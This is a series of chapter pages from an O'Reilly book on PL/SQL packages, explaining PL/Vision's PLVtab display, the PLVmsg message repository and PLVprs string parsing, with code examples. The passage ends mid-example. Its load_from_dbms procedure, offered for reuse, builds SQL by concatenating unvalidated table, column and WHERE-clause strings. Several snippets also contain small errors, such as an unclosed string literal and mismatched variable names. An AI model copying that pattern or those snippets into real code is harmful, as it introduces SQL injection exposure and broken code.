What is going on here? First, I copy the incoming table into a private PL/SQL table (idate). Then I display the contents of the idate table and not the user's table. Finally, I empty the internal PL/SQL table to minimize memory utilization. Notice that the idate table does not appear in the parameter list for idisplay. Instead, I pass in a constant, c_date, to indicate that idisplay should get the row values from the idate table.

I have, then, achieved my first objective: Use a single procedure to implement all of the different overloaded versions (this follows the diamond effect described in Chapter 4, Getting Started with PL/Vision). Of course, all I have really done is move the complexity down into the idisplay procedure. At least, however, all the complexity is concentrated into that single module.

But when you look inside the idisplay procedure you will find that there is actually very little complexity there either. Instead, I further buried the "how" of displaying all these different types of PL/SQL tables in another private module, display_row. Here is the main loop of the idisplay procedure:

   WHILE in_range (current_row) AND within_threshold
   LOOP
      display_row
      (type_in, failure_threshold_in, increment_in,
      count_misses, current_row, within_threshold);
   END LOOP;

The display_row procedure takes as its first argument the type of table (c_date, c_number, etc.). It then executes an extended IF statement to determine from which table the row value should be extracted. The initial portion of this IF statement is shown below. The rowval variable is passed to p.l by the display_row procedure.

  IF type_in = c_boolean
  THEN
     rowval :=
        PLV.boolstg (iboolean (curr_row_inout), real_null_in => TRUE);

  ELSIF type_in = c_date
  THEN
     rowval := TO_CHAR (idate (curr_row_inout), PLV.datemask);

  ELSIF type_in = c_integer
  THEN
     rowval := TO_CHAR (iinteger (curr_row_inout));

Take some time to review the implementation of PLVtab.idisplay. On the one hand, you might think that the author is a somewhat off-balance, obsessive kind of guy. You might be right. On the other hand, you might also learn some interesting techniques for code consolidation inside packages when providing highly overloaded programs to users.

Previous: 8.6 Emptying Tables with PLVtab | Advanced Oracle PL/SQL Programming with Packages | Next: 9. PLVmsg: Single-Sourcing PL/SQL Message Text
8.6 Emptying Tables with PLVtab | Book Index | 9. PLVmsg: Single-Sourcing PL/SQL Message Text
The Oracle Library Navigation

Copyright (c) 2000 O'Reilly & Associates. All rights reserved.

Library Home Oracle PL/SQL Programming, 2nd. Ed. Guide to Oracle 8i Features Oracle Built-in Packages Advanced PL/SQL Programming with Packages Oracle Web Applications Oracle PL/SQL Language Pocket Reference Oracle PL/SQL Built-ins Pocket Reference


[Chapter 9] PLVmsg: Single-Sourcing PL/SQL Message Text

Advanced Oracle PL/SQL Programming with Packages

Advanced Oracle PL/SQL Programming with PackagesSearch this book
Previous: 8.7 Implementing PLVtab.display Chapter 9 Next: 9.2 Storing Message Text

9. PLVmsg: Single-Sourcing PL/SQL Message Text

Contents:
PLVmsg Data Structures
Storing Message Text
Retrieving Message Text
The Restriction Toggle
Integrating PLVmsg with Error Handling
Implementing load_ from_dbms

The PLVmsg (PL/Vision MeSsaGe) package consolidates various kinds of message text in a single PL/SQL-based repository. Each message is associated with a number. You can then retrieve messages by number using the text function.

PLVmsg was originally designed to provide a programmatic interface to Oracle error messages and application-specific error text for error numbers in the -20,000 to -20,999 range (it is called in the PLVexc.handle program). The package is now, however, flexible enough to serve as a repository for message text of any kind.

This package allows you to:

  • Assign individual text messages to specified rows in the PL/SQL table (the row is equal to the message number)

  • Retrieve message text by number (which could be an error number or primary key)

  • Automatically substitute your own messages for standard Oracle error messages with the restrict toggle

  • Batch load message numbers and text from a database table directly into the PLVmsg PL/SQL table

This chapter shows how to use each of the different elements of the PLVmsg package.

9.1 PLVmsg Data Structures

The PL/SQL table used by PLVmsg to store message text is defined in the package body as follows:

   msgtxt_table PLVtab.vc2000_table;

A PLVmsg message can therefore have a maximum of 2,000 bytes in the text.

The rows in this PL/SQL table are not filled sequentially. The rows are the message numbers and might represent Oracle error numbers, an entity's primary key values, or anything else the user passes as the message number. As a result (for PL/SQL Releases 2.2 and earlier), the PLVmsg package must keep track of the lowest and highest number rows. These values are stored in the following private variables:

   v_min_row BINARY_INTEGER;
   v_max_row BINARY_INTEGER;

Note that a user of PLVmsg cannot make a direct reference to the msgtxt_table or the low and high row values; these data structures are hidden in the package body. I am, in this way, able to guarantee the integrity of the message text.

Previous: 8.7 Implementing PLVtab.display | Advanced Oracle PL/SQL Programming with Packages | Next: 9.2 Storing Message Text
8.7 Implementing PLVtab.display | Book Index | 9.2 Storing Message Text
The Oracle Library Navigation

Copyright (c) 2000 O'Reilly & Associates. All rights reserved.

Library Home Oracle PL/SQL Programming, 2nd. Ed. Guide to Oracle 8i Features Oracle Built-in Packages Advanced PL/SQL Programming with Packages Oracle Web Applications Oracle PL/SQL Language Pocket Reference Oracle PL/SQL Built-ins Pocket Reference


[Chapter 9] 9.2 Storing Message Text

Advanced Oracle PL/SQL Programming with Packages

Advanced Oracle PL/SQL Programming with PackagesSearch this book

9.2 Storing Message Text

Before your programs can retrieve messages from the PLVmsg PL/SQL table, you must place these messages in the table. You can do so in one of two ways:

  1. Load individual messages with calls to the add_text procedure.

  2. Load sets of messages from a database table with the load_from_dbms procedure.

9.2.1 Adding a Single Message

With add_text, you add specific strings to the message table at the specified row. Here is the header for add_text:

PROCEDURE add_text (err_code_in IN INTEGER, err_text_in IN VARCHAR2);

The following statements, for example, define message text for several error numbers set aside by Oracle Corporation for application-specific use (passed with a call to the RAISE_APPLICATION_ERROR builtin):

PLVmsg.add_text (-20000, 'General error');
PLVmsg.add_text (-20100, 'No department with that number.);
PLVmsg.add_text (-20200, 'Employee too young.');

Section 9.3, "Retrieving Message Text", later in this chapter, will show how you can extract these messages.

9.2.2 Batch Loading of Message Text

In many environments, a database table is used to store and maintain error messages, as well as other types of message text. The load_from_dbms procedure can be used to make this information available through the PLVmsg interface. The header for this procedure is:

PROCEDURE load_from_dbms
   (table_in IN VARCHAR2,
    where_clause_in IN VARCHAR2 := NULL,
    code_col_in IN VARCHAR2 := 'error_code',
    text_col_in IN VARCHAR2 := 'error_text');

This procedure reads the rows from the specified table and transfers them to the PL/SQL table. Recall that the PLVmsg msgtxt_table is not filled sequentially; the rows defined in the table are determined by the contents of the code column in the specified table.

To make the package as flexible as possible, PLVmsg relies on DBMS_SQL so that you can use whatever database table fits (or already exists) in your schema. When you call load_from_dbms, you tell it the name of the table and its columns, as well as an optional WHERE clause. The PLVmsg program then constructs the SQL necessary to grab the text data. The only requirement of the table is that it has a numeric column for message numbers (used as PL/SQL table rows) and a string column for the message text.

You must, at a minimum, provide the name of the messages table. The default names of the columns are:

error_code

The error number for the message

error_text

The text of the error message

In the following call to load_from_dbms, I rely on the full set of defaults for the structure of the error table to transfer all rows from the error_messages table:

PLVmsg.load_from_dbms ('error_messages');

This request will work only if the error_messages table has columns named error_code and error_text.

In this next example, I supply customized values for all arguments:

PLVmsg.load_from_dbms
   ('errtxt',
    'code BETWEEN -20000 AND -20999',
    'code', 'text');

My table is named errtxt and has two columns, code and text. I further request that only the text for messages with error numbers between -20,000 and -20,999 be placed in the PLVmsg PL/SQL table. This WHERE clause implies that for all other errors, my program will rely on the message returned by SQLERRM (see the next section for more details).

You might be asking yourself: why bother with PLVmsg if you already have a database table-driven architecture for such messages? There are two key advantages:

  1. With PLVmsg you will be reading the message text from memory (after the initial transfer) without having to go through the SQL layer. This will improve performance, though it will also require more memory since each user of PLVmsg will have her own copy of the messages.

  2. PLVmsg is very flexible, in that you can dynamically direct your program to either the PLVmsg text or the database error message.

Previous: 9.1 PLVmsg Data Structures | Advanced Oracle PL/SQL Programming with Packages | Next: 9.3 Retrieving Message Text
9.1 PLVmsg Data Structures | Book Index | 9.3 Retrieving Message Text
The Oracle Library Navigation

Copyright (c) 2000 O'Reilly & Associates. All rights reserved.

Library Home Oracle PL/SQL Programming, 2nd. Ed. Guide to Oracle 8i Features Oracle Built-in Packages Advanced PL/SQL Programming with Packages Oracle Web Applications Oracle PL/SQL Language Pocket Reference Oracle PL/SQL Built-ins Pocket Reference


[Chapter 9] 9.3 Retrieving Message Text

Advanced Oracle PL/SQL Programming with Packages

Advanced Oracle PL/SQL Programming with PackagesSearch this book

9.3 Retrieving Message Text

The text function hides all the logical complexities involved in locating the correct message text and information about physical storage of text. You simply ask for the message and PLVmsg.text returns the information. That message may have come from SQLERRM or from the PL/SQL table. Your application doesn't have to address or be aware of these details. Here is the header for the text function (the full algorithm is shown in Example 9.1):

FUNCTION text (num_in IN INTEGER := SQLCODE) RETURN VARCHAR2;

You pass in a message number to retrieve the text for that message. If, on the other hand you do not provide a number, PLVmsg.text uses SQLCODE.

The following call to PLVmsg.text is, thus, roughly equivalent to displaying SQLERRM:

p.l (PLVmsg.text);

I say "roughly" because with PLVmsg you can also override the default Oracle message and provide your own text. This process is explained below.

Example 9.1: Algorithm for Choosing Message Text

FUNCTION text (num_in IN INTEGER := SQLCODE)
      RETURN VARCHAR2
IS
   msg VARCHAR2(2000);
BEGIN
   IF (num_in
         BETWEEN c_min_user_code AND c_max_user_code) OR
      (restricting AND NOT oracle_errnum (num_in)) OR
      NOT restricting
   THEN
      BEGIN
         msg := msgtxt_table (num_in);
      EXCEPTION
         WHEN OTHERS
         THEN
            IF oracle_errnum (num_in)
            THEN
               msg := SQLERRM (num_in);
            ELSE
               msg := 'No message for error code.';
            END IF;
      END;
   ELSE
      msg := SQLERRM (num_in);
   END IF;

   RETURN msg;
EXCEPTION
   WHEN OTHERS
   THEN
      RETURN NULL;
END;

9.3.1 Substituting Oracle Messages

The following call to add_text is intended to override the default Oracle message for several rollback segment-related errors:

FOR err_ind IN -1550 .. -1559
LOOP
   PLVmsg.add_text
   (err_ind, 'Database failure; contact SysOp at x1212');
END LOOP;

Previous: 9.2 Storing Message Text | Advanced Oracle PL/SQL Programming with Packages | Next: 9.4 The Restriction Toggle
9.2 Storing Message Text | Book Index | 9.4 The Restriction Toggle
The Oracle Library Navigation

Copyright (c) 2000 O'Reilly & Associates. All rights reserved.

Library Home Oracle PL/SQL Programming, 2nd. Ed. Guide to Oracle 8i Features Oracle Built-in Packages Advanced PL/SQL Programming with Packages Oracle Web Applications Oracle PL/SQL Language Pocket Reference Oracle PL/SQL Built-ins Pocket Reference


[Chapter 9] 9.4 The Restriction Toggle

Advanced Oracle PL/SQL Programming with Packages

Advanced Oracle PL/SQL Programming with PackagesSearch this book

9.4 The Restriction Toggle

Use the restriction toggle to determine whether messages for errors numbers that are legitimate Oracle error numbers will be retrieved from the PLVmsg PL/SQL table (unrestricted) or from the SQLERRM function (restricted). A legitimate Oracle error number is an integer that is negative or zero or 100 (equivalent to -1403 or "no data found").

The restriction toggle is composed of three programs:

   PROCEDURE restrict;
   PROCEDURE norestrict;
   FUNCTION restricting RETURN BOOLEAN;

When you call the PLVmsg.restrict procedure (and this is the default setting), PLVmsg will rely on SQLERRM whenever appropriate to retrieve the message for a legitimate Oracle error number.

If you call norestrict, PLVmsg will first check the PL/SQL table of PLVmsg to see if there is an error message for that error. In unrestricted mode, therefore, you can automatically substitute standard Oracle error messages with your own text -- and be as selective as you like about the substitutions.

The restricting function will let you know the status of the restrict toggle in PLVmsg. It returns TRUE if you are restricting error messages to SQLERRM; otherwise, it will return FALSE.

Here are examples of the toggle in use:

  1. In a SQL*Plus script, direct all error messages to be retrieved from the PL/SQL table, if present.

    PLVmsg.norestrict;
transfer_data;

  2. At the start of a SQL*Plus session, make sure that Oracle messages will be used whenever possible.

    SQL> exec PLVmsg.restrict;

Previous: 9.3 Retrieving Message Text | Advanced Oracle PL/SQL Programming with Packages | Next: 9.5 Integrating PLVmsg with Error Handling
9.3 Retrieving Message Text | Book Index | 9.5 Integrating PLVmsg with Error Handling
The Oracle Library Navigation

Copyright (c) 2000 O'Reilly & Associates. All rights reserved.

Library Home Oracle PL/SQL Programming, 2nd. Ed. Guide to Oracle 8i Features Oracle Built-in Packages Advanced PL/SQL Programming with Packages Oracle Web Applications Oracle PL/SQL Language Pocket Reference Oracle PL/SQL Built-ins Pocket Reference


[Chapter 9] 9.5 Integrating PLVmsg with Error Handling

Advanced Oracle PL/SQL Programming with Packages

Advanced Oracle PL/SQL Programming with PackagesSearch this book

9.5 Integrating PLVmsg with Error Handling

Although PLVmsg can be used in other circumstances, PL/Vision uses it inside its exception handler package, PLVexc, and you are most likely to use it that way as well. This section shows you how to do this.

Suppose that you have taken the time to write a procedure named showerr to consolidate error handling. It accepts an error number-message combination and then both displays the message and records the error. If you do not make use of PLVmsg, a typical exception section might look like this:

EXCEPTION
   WHEN DUP_VAL_ON_INDEX
   THEN
      showerr (SQLCODE, 'Duplicate employee name.');
   WHEN OTHERS
   THEN
      IF SQLCODE = -20200
      THEN
         showerr (-20200, 'Employee too young.');
      ELSE
         showerr (SQLCODE, SQLERRM);
      END IF;
END;

What's the problem with this approach? I can think of several drawbacks:

  • You have to do lots of typing. It took me several minutes to type out this example and I type quickly. It also provides lots of opportunities for errors.

  • The developer has to know about DUP_VAL_ON_INDEX (I, for one, always get it wrong the first time; it seems that it should be IN_INDEX).

  • There is some dangerous hard-coding in this section: both the -20,200 and the associated error message. What happens if you need to handle the same error in another program?

Now, suppose on the other hand that I had made use of PLVmsg. First, I would have added text to the PLVmsg repository as follows:

PLVmsg.add_text (-1, 'Duplicate employee name.');
PLVmsg.add_text (-20200, 'Employee too young.');

Sure, I had to know that ORA-00001 goes with the DUP_VAL_ON_INDEX exception, but remember that I will be writing this once for all developers on an application team. After setting these values I would also have called the norestrict toggle. This allows PLVmsg to override the usual error message for ORA-00001 with my own message.

PLVmsg.norestrict;

With the text in place and restrictions removed on accessing override messages, I can reduce my exception section from what you saw earlier to just this:

EXCEPTION
   WHEN OTHERS
   THEN
      showerr (SQLCODE, PLVmsg.text);
END;

When the SQLCODE is -1, PLVmsg.text is routed to the contents of the PL/SQL table in row -1 (and does not use SQLERRM). When SQLCODE is -20,200, the value in row -202000 is returned. Finally, for all other regular Oracle error numbers, PLVmsg obtains the text from SQLERRM.

The result is a dramatically cleaned-up exception section and an application in which all error text management is performed in one place: the PLVmsg repository.

9.5.1 Using PLVmsg in PL/Vision

As mentioned earlier, the PLVexc packages relies on PLVmsg to obtain error message text. The PLVmsg.text function is called by terminate_and_handle, which acts as a bridge between the high-level handlers, such as recNgo, and the low-level handle procedure. The implementation of terminate_and_handle is shown below:

   PROCEDURE terminate_and_handle
      (action_in IN VARCHAR2,
       err_code_in IN INTEGER)
   IS
   BEGIN
      PLVtrc.terminate;
      handle
         (PLVtrc.prevmod, err_code_in, action_in,
          PLVmsg.text (err_code_in));
   END;

The value passed in as err_code_in might be SQLCODE, or it might be some application-specific value. Whatever its value, PLVmsg.text translates the error number into message text and passes that to the low-level handler. The handle procedure then might display this string or store it in the PL/Vision log.

By calling PLVmsg.text at this point in the exception-handling architecture, PLVexc offers its users a lot of flexibility. Suppose that when you first built your application, you didn't have time to work on error messages. You took advantage of PLVexc, but ignored completely the PLVmsg package capabilities. In this case, PLVmsg.text acted simply as a passthrough to SQLERRM. Somewhere down the line, however, you decided to enhance the error messages for your application.

To accomplish this enhancement, you would not have to change your application. All of your exception handlers that call the high-level PLVexc exception handlers are already calling PLVmsg.text. All you have to do is store all of your message text in a database table and then call PLVmsg.load_from_dbms at a good startup point for the application (in a When-New-Form-Instance trigger in an Oracle Forms-based application or in the initialization section of a common package).

From that point on (and remember: without changing any of your code!), the new error text will be used in the application.

Special Notes on PLVmsg

Here are some factors to consider when working with PLVmsg:

  • The maximum size of a message is 2,000 bytes.

  • The number 100 and all negative numbers that are not between -20,000 and -20999 are considered to be Oracle error codes.

  • The load_from_dbms is a useful example of the kind of code you need to write to transfer data from a database table to a PL/SQL table -- even to the extent of allowing the user to specify the relevant names. You should be able to easily adapt this PLVmsg procedure to your own purposes.

Previous: 9.4 The Restriction Toggle | Advanced Oracle PL/SQL Programming with Packages | Next: 9.6 Implementing load_ from_dbms
9.4 The Restriction Toggle | Book Index | 9.6 Implementing load_ from_dbms
The Oracle Library Navigation

Copyright (c) 2000 O'Reilly & Associates. All rights reserved.

Library Home Oracle PL/SQL Programming, 2nd. Ed. Guide to Oracle 8i Features Oracle Built-in Packages Advanced PL/SQL Programming with Packages Oracle Web Applications Oracle PL/SQL Language Pocket Reference Oracle PL/SQL Built-ins Pocket Reference


[Chapter 9] 9.6 Implementing load_ from_dbms

Advanced Oracle PL/SQL Programming with Packages

Advanced Oracle PL/SQL Programming with PackagesSearch this book

9.6 Implementing load_ from_dbms

The load_from_dbms procedure serves as a good example of a program for loading number-text combinations from any database table into a PL/SQL table using dynamic SQL. Since you can specify the table name, WHERE clause, and column names, you can load message text from multiple sources and for multiple purposes. You can even copy this program, modify it, and use it in other programs.

The implementation of this procedure is shown in Example 9.2. It is explained in the next section. (continued)

Example 9.2: The Implementation of load_ from_dbms

PROCEDURE load_from_dbms
   (table_in IN VARCHAR2,
    where_clause_in IN VARCHAR2 := NULL,
    code_col_in IN VARCHAR2 := 'error_code',
    text_col_in IN VARCHAR2 := 'error_text')
IS
   select_string PLV.max_varchar2%TYPE :=
    'SELECT ' || code_col_in || ', ' || text_col_in ||
    '  FROM ' || table_in;

   cur INTEGER;
   error_code INTEGER;
   error_text VARCHAR2(2000);

   PROCEDURE set_minmax (code_in IN INTEGER) IS
   BEGIN
      IF min_row IS NULL OR min_row > code_in
      THEN
         v_min_row := code_in;
      END IF;

      IF max_row IS NULL OR max_row < code_in
      THEN
         v_max_row := code_in;
      END IF;
   END;
BEGIN
   IF where_clause_in IS NOT NULL
   THEN
      select_string := select_string || ' WHERE ' || where_clause_in;
   END IF;

   cur := PLVdyn.open_and_parse (select_string);
   DBMS_SQL.DEFINE_COLUMN (cur, 1, error_code);
   DBMS_SQL.DEFINE_COLUMN (cur, 2, error_text, 2000);

   PLVdyn.execute (cur);
   LOOP
      EXIT WHEN DBMS_SQL.FETCH_ROWS (cur) = 0;
      DBMS_SQL.COLUMN_VALUE (cur, 1, error_code);
      DBMS_SQL.COLUMN_VALUE (cur, 2, error_text);
      set_minmax (error_code);
      add_text (error_code, error_text);
   END LOOP;
   DBMS_SQL.CLOSE_CURSOR (cur);
END;

When performing dynamic SQL, you construct the SQL statement at runtime. In load_from_dbms, I declare and initialize my SELECT string as follows:

 select_string PLV.max_varchar2%TYPE :=
    'SELECT ' || code_col_in || ', ' || text_col_in ||
    '  FROM ' || table_in;

Notice that I use all of the name arguments to the program to build the SELECT statement. There is nothing hard coded here except for the mandatory syntax elements like SELECT and FROM. That assignment (which takes place in the declaration section) covers the basic query.

What if the user provided a WHERE clause? The first line in the procedure's body adds the WHERE clause if it is not NULL:

   IF where_clause_in IS NOT NULL
   THEN
      select_string := select_string || ' WHERE ' || where_clause_in;
   END IF;

Notice that you do not have to provide a WHERE keyword. That is inserted automatically by the program.

My string is ready to be parsed, so I call the PLVdyn open_and_parse procedure to take those two steps. Then I define the two columns (number and string) that are specified in the SELECT statement:

   cur := PLVdyn.open_and_parse (select_string);
   DBMS_SQL.DEFINE_COLUMN (cur, 1, error_code);
   DBMS_SQL.DEFINE_COLUMN (cur, 2, error_text, 2000);

Now the cursor is fully defined and ready to be executed. The final step in load_from_dbms is to run the equivalent of a cursor FOR loop: for every record dynamically fetched, add the text to the table and update the high and low indicators:

   PLVdyn.execute (cur);
   LOOP
      EXIT WHEN DBMS_SQL.FETCH_ROWS (cur) = 0;
      DBMS_SQL.COLUMN_VALUE (cur, 1, error_code);
      DBMS_SQL.COLUMN_VALUE (cur, 2, error_text);
      set_minmax (error_code);
      add_text (error_code, error_text);
   END LOOP;
   DBMS_SQL.CLOSE_CURSOR (cur);

I fetch a row (exiting immediately if nothing is returned). I then extract the values into local variables with COLUMN_VALUE. Following that, I update the minimum and maximum row numbers and, finally, add the text to the PL/SQL table using that same add_text program that users of PLVmsg would use to add text to the table. When I am done with the loop, I close the cursor.

To make the main body of the procedure as readable as possible, I create a local procedure (set_minmax) to keep track of the lowest and highest row numbers used in the PL/SQL table. This is necessary in releases of PL/SQL earlier than 2.3 since there is no way to query the PL/SQL runtime engine for this information. The local procedure, set_minmax, also serves to hide this annoying level of detail and weakness in PL/SQL table design. When you upgrade to PL/SQL Release 2.3 or above, you can just strip out this code.

Previous: 9.5 Integrating PLVmsg with Error Handling | Advanced Oracle PL/SQL Programming with Packages | Next: 10. PLVprs, PLVtkn, and PLVprsps: Parsing Strings
9.5 Integrating PLVmsg with Error Handling | Book Index | 10. PLVprs, PLVtkn, and PLVprsps: Parsing Strings
The Oracle Library Navigation

Copyright (c) 2000 O'Reilly & Associates. All rights reserved.

Library Home Oracle PL/SQL Programming, 2nd. Ed. Guide to Oracle 8i Features Oracle Built-in Packages Advanced PL/SQL Programming with Packages Oracle Web Applications Oracle PL/SQL Language Pocket Reference Oracle PL/SQL Built-ins Pocket Reference


[Chapter 10] PLVprs, PLVtkn, and PLVprsps: Parsing Strings

Advanced Oracle PL/SQL Programming with Packages

Advanced Oracle PL/SQL Programming with PackagesSearch this book
Previous: 9.6 Implementing load_ from_dbms Chapter 10 Next: 10.2 PLVtkn: Managing PL/SQL Tokens

10. PLVprs, PLVtkn, and PLVprsps: Parsing Strings

Contents:
PLVprs: Useful String Parsing Extensions
PLVtkn: Managing PL/SQL Tokens
PLVprsps: Parsing PL/SQL Strings

Parsing a computer program can be a very frustrating and complex experience. There are all kinds of exceptions to the rules and special rules to handle in one's logic. The only way I could handle all of these details was to deal with as narrow a portion of functionality at a time as I could. The result is a set of four different packages oriented to different levels of the parsing process. By isolating various areas of complexity into these different packages, I can keep each of the individual parsing programs brief and relatively easy to write and understand.

PL/Vision offers several different string and source code parsing packages:

PLVprs

Generic string-parsing extensions to PL/SQL. This is the lowest level of string-parsing functionality and will prove useful in many different situations.

PLVtkn

Interface to the PLV_token table, which contains more than 1,200 keywords of the PL/SQL language, including those for Oracle Forms. Use PLVtkn to determine if an identifier is a keyword.

PLVlex

PL/SQL lexical analysis package. Performs similar parsing actions as those available in PLVprs, but does so with an awareness of the syntax and delimiters of the PL/SQL language.[1]

[1] This package is not described further in the book; see the the companion disk for more information.

PLVprsps

Highest-level package to parse PL/SQL source code (hence the prsps name) into separate atomics. Relies on the other parsing packages to get its job done.

10.1 PLVprs: Useful String Parsing Extensions

The PLVprs (PL/Vision PaRSe) package offers a set of procedures and functions that provide generic and very flexible string-parsing functionality. These programs extend the builtin string functions of PL/SQL. They can:

  • Parse a string into its atomics

  • Count the number of atomics in a string

  • Count the frequency of a substring within a string

  • Return the n th atomic in a string

  • Wrap a long line of text into a paragraph

  • Display a wrapped line of text

You can use PLVprs within other packages and programs to analyze strings and display their contents. It is also used within PL/Vision by PLVvu and PLVdyn to display long messages.

All of our applications require manipulation of textual information. I have often encountered the need to parse and analyze those strings in order to answer requests like the following (and I am sure that you could add more to the list):

  • Count the number of words in a string.

  • Separate out all words and punctuation in a string into separate components.

  • Return the nth value in a semicolon-delimited string. This is a very common situation in Oracle Forms applications, in which a developer might pack a set of values into a global variable like this: "123;5555;6623.11;".

10.1.1 Developing a General Solution

Taken separately, it is not too hard to develop a solution to any of the items on this list. If you build solutions to each individual requirement on a case-by-case basis, you will end up with an enormous volume of redundant code which you cannot easily enhance or upgrade.

Rather than construct a smattering of different, specialized routines to analyze strings, I offer with PLVprs a set of very generic and flexible functions and procedures. Yet the only way to make sure that my approach will handle many different situations and requirements is to base that approach on a general analysis of the components of a string.

In the world of PLVprs, a string is made up of a series of atomics, the smallest indivisible elements of the string. An atomic is either a word (defined as a contiguous set of letters and/or numbers) or a delimiter (any one of a set of special characters which separate or delimit words). In the English language, for example, common delimiters, a.k.a. punctuation, include the comma, semicolon, question mark, period, etc. But in a more general scenario, we have to be careful not to assume that the set of delimiters is a constant. For example, if I want to perform operations on a string of values delimited by a semicolon, then the set of delimiters for that particular operation is a single character: the semicolon.

Once you see strings as a set of atomics, of words separated by delimiters, you can reinterpret and enhance the kinds of requests listed above, such as "count all words in a string." Do you want to count all the atomics or just the words or just the delimiters? PLVprs gives you that level of flexibility.

10.1.2 Customizing the Delimiter Set

The PLVprs package interprets a string as a series of atomics: words and delimiters. But what is a delimiter? PLVprs predefines two sets of delimiters:

Name | Characters in Delimeter Set
std_delimeters | !@#$%^&*()‐_=+\|`~{{]};:''",<.>/?' plus space, tab, and newline characters
plsql_delimeters | !@%^&*()‐=+\|`~{{]};:''",<.>/?' plus space, tab, and newline characters

The only difference between these lists is that the plsql_delimiters set omits the underscore, dollar sign, and pound sign characters. These characters are valid symbols in a PL/SQL identifier, which should certainly be considered a word.

Would you ever need any other delimiter sets? Sure, why not? You might have a string which is packed with values separated by the vertical bar. In this situation, when you call PLVprs.string to separate the string into separate atomics, you will want to be able to specify your special and very short delimiter list.

PLVprs lets you specify a non-default delimiter list in the following programs:

next_atom_loc
nth_atomic
display_atomics
string
numatomics

Here is an example of how I could parse a string with atomics packed between vertical bars and ignore any other delimiters:

DECLARE
   atomic PLVtab.vc2000_table;
   num INTEGER;
BEGIN
   PLVprs.string ('A#-%|12345|(*&*)|0101R|', atomic, num, '|');
   PLVtab.display (atomic,num);
END;
/

This is the output seen after executing the above script:

Contents of Table
A#-%
|
12345
|
(*&*)
|
0101R
|

With the default set of delimiters, this string would have been broken up by PLVprs.string into fifteen separate atomics, rather than just eight. So don't forget to use your own delimiter list as needed to simplify your parsing and analysis jobs.

10.1.3 Parsing Strings into Atomics

The PLVprs package offers a number of programs that perform different parsing operations on strings. They are each discussed below. The implementations of most of these programs were discussed in Oracle PL/SQL Programming, so I will not go beyond an explanation here of how you can use these functions.

10.1.3.1 next_atom_loc function

The next_atom_loc returns the location in the specified string of the next atomic. It is used by other PLVprs programs, but is also available for use by other PL/Vision packages -- and by you. Its header is:

   FUNCTION next_atom_loc
        (string_in IN VARCHAR2,
         start_loc_in IN NUMBER,
         direction_in IN NUMBER := +1,
         delimiters_in IN VARCHAR2 := std_delimiters)
   RETURN INTEGER;

The string_in parameter is the string to be scanned. The start_loc_in parameter provides the starting position of the search for the start of the next atomic. The direction_in parameter indicates whether the search should move forward or backward through the string. The final argument allows you to specify the set of characters to be considered delimiters (which indicate the start of a new atomic).

The next_atom_loc function returns the location in the string of the starting point of the next atomic (from the start location). The function scans forward if direction_in is +1, otherwise it scans backwards through the string. Here is the logic to determine when the next atomic starts:

  1. If the current atomic is a delimiter (that is, if the character at the start_loc_in of the string is a delimiter), then the next character starts the next atomic since all delimiters are a single character in length.

  2. If the current atomic is a word (that is, if the character at the start_loc_in of the string is a letter or number), then the next atomic starts at the next delimiter. Any letters or numbers in between are part of the current atomic.

The next_atomic_loc function loops through the string one character at a time and applies these tests. It also has to check for the end of string. If it scans forward, the end of string comes when the SUBSTR that pulls out the next character returns NULL. If it scans backward, then the end of the string comes when the location is less than 0.

10.1.3.2 display_atomics procedure

The display_atomics procedure displays the atomics found in the specified string. Its header is shown below:

PROCEDURE display_atomics
   (string_in IN VARCHAR2,
    delimiters_in IN VARCHAR2 := std_delimiters);

You specify the string you want parsed and the set of characters you want to be treated as delimiters for the parsing. To make it easier to view blank lines, spaces are displayed as a description of the number of spaces present (as in "1 blank" or "6 blanks"). This feature is shown below:

SQL> exec PLVtab.showrow
SQL> exec PLVprs.display_atomics ('Compassion is a human thing.');
Parsed Atomics in String
Row 1 = Compassion
Row 2 = 1 blank
Row 3 = is
Row 4 = 1 blank
Row 5 = a
Row 6 = 1 blank
Row 7 = human
Row 8 = 2 blanks
Row 9 = thing
Row 10 = .

You can specify an alternate delimiter set in order to display the contents of a string according to the format of that string and how it is used. Compare the two calls to display_atomics below:

SQL> exec PLVprs.display_atomics ('1234|A$%|67YYY|(big)');
11
Parsed Atomics in String
1234
-|-
A
-$-
-%-
-|-
67YYY
-|-
-(-
big
-)-
SQL> exec PLVprs.display_atomics ('1234|A$%|67YYY|(big)', '|');
7
Parsed Atomics in String
1234
-|-
A$%
-|-
67YYY
-|-
(big)

In the second call, I am telling display_atomics to consider "|" as the sole delimiter in the string.

10.1.3.3 numatomics function

The numatomics function returns the number of atomics in a string. You can calculate the number of all atomics, only the words, or only the delimiters. You can specify in your call to the function what characters should be considered delimiters. The header for this function is:

FUNCTION numatomics
   (string_in IN VARCHAR2,
    count_type_in IN VARCHAR2 := c_all,
    delimiters_in IN VARCHAR2 := std_delimiters)
RETURN INTEGER;

The following examples demonstrate how to use the count_type_in argument. The first call relies on the default value of "all atomics." The next two calls pass in a specific request for type of atomic, relying on the constants provided in the package specification.

SQL> exec p.l (PLVprs.numatomics ('this, is%not.'))
7
SQL> exec p.l (PLVprs.numatomics ('this, is%not.', PLVprs.c_word))
3
SQL> exec p.l (PLVprs.numatomics ('this, is%not.', PLVprs.c_delim))
4

10.1.3.4 nth_atomic function

The nth_atomic function returns the n th atomic in a string. You can, for example, ask for the seventh word or the sixth delimiter. The header for nth_atomic is:

FUNCTION nth_atomic
   (string_in IN VARCHAR2,
    nth_in IN NUMBER,
    count_type_in IN VARCHAR2 := c_all,
    delimiters_in IN VARCHAR2 := std_delimiters)
RETURN VARCHAR2;

The nth_atomic function is very flexible, following the model of the builtin functions, INSTR and SUBSTR. You can scan both forward and backward through the string. If you provide a positive nth_in argument, then nth_atomic scans forward to the nth atomic. If, on the other hand, the nth_in value is negative, nth_atomic will scan backwards through the string to the nth atomic. This feature is shown in the examples below:

SQL> exec p.l(PLVprs.nth_atomic ('this, is%not.', 2))
,
SQL> exec p.l(PLVprs.nth_atomic ('this, is%not.', 2, PLVprs.c_word))
is
SQL> exec p.l(PLVprs.nth_atomic ('this, is%not.', 3, PLVprs.c_delim))
%
SQL> exec p.l(PLVprs.nth_atomic ('this, is%not.', -3, PLVprs.c_word))
this

The PLVdyn package also utilizes nth_atomic function to extract the type of program unit and the name of the program unit that is being compiled and stored by the compile procedure:

/* Get the first word.*/
v_name1 := PLVprs.nth_atomic (stg_in, 1, PLVprs.c_word);

/* Get the second word. */
v_name2 := PLVprs.nth_atomic (stg_in, 2, PLVprs.c_word);

/* If a package body, then get the THIRD word. */
IF UPPER (v_name1||' '||v_name2) = 'PACKAGE BODY'
THEN
   v_name1 := v_name1 || ' ' || v_name2;
